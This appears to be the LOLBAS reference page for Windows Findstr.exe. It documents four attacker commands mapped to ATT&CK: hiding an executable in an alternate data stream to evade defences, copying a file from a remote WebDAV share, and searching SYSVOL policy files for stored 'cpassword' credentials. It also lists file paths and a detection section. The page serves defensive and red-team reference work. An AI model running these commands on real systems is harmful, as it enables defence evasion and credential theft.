LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Findstr.exe

View source

Write to ADS, discover, or download files with Findstr.exe

04COMMAND EXAMPLES
03ATT&CK TECHNIQUES
01DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

4 examples

ADS2

EXAMPLE 01T1564.004

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.

COMMAND
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe
USE CASE
Add a file to an alternate data stream to hide from defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1564.004

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

COMMAND
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe
USE CASE
Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Credentials1

EXAMPLE 01T1552.001

Search for stored password in Group Policy files stored on SYSVOL.

COMMAND
findstr /S /I cpassword \\sysvol\policies\*.xml
USE CASE
Find credentials stored in cpassword attrbute
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Download1

EXAMPLE 01T1105

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

COMMAND
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}
USE CASE
Download/Copy file from webdav server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\findstr.exe
C:\Windows\SysWOW64\findstr.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe